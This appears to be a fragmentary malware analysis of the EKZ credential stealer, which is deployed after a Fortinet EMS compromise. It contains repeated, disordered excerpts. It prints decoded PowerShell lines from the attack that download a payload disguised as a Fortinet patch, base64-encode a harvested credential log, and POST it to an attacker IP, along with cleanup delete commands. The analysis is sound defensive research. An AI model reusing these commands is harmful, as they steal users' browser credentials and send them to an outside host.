EKZ Stealer

The attack chain begins with threat actors compromising a Fortinet EMS server through CVE-2026-35616, then deploying EKZ Stealer and exfiltrating harvested credentials using PowerShell.

The decoded PowerShell can be seen in the code snippet below.

the stolen credentials are sent in the body via HTTP POST request (base64 encoded).

EKZ Stealer's compiler-based obfuscations (indirect jumps/calls + control-flow flattening) are deobfuscated using Binary Ninja Workflows

we decoded the PowerShell command ... found that it downloads EKZ Infostealer, disguises it as a Fortinet update (FortiEndpoint_Patch.exe), and executes it.

del C:\programdata\log.txt;del C:\programdata\FortiEndpoint_Patch.exe;

del C:\programdata\log.txt;del C:\programdata\FortiEndpoint_Patch.exe;

It then sleeps for 90 seconds to allow the malware to write collected credentials to C:\ProgramData\log.txt , before exfiltrating that file

was used to harvest browser credentials from Chromium-based browsers and Firefox

The file was compiled with MinGW/GCC and statically links open-source libraries used to extract credentials from Chromium-based browsers and Firefox.

It then sleeps for 90 seconds to allow the malware to write collected credentials to C:\ProgramData\log.txt , before exfiltrating that file

$b=[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\programdata\log.txt"));

$wc = New-Object System.Net.WebClient;$wc.DownloadFile($Url, $Out);

Within a Wireshark capture, the stolen credentials are sent in the body via HTTP POST request (base64 encoded).

$wc.UploadString("hxxp://83.138.53[.]110/service/save.php","POST",$b);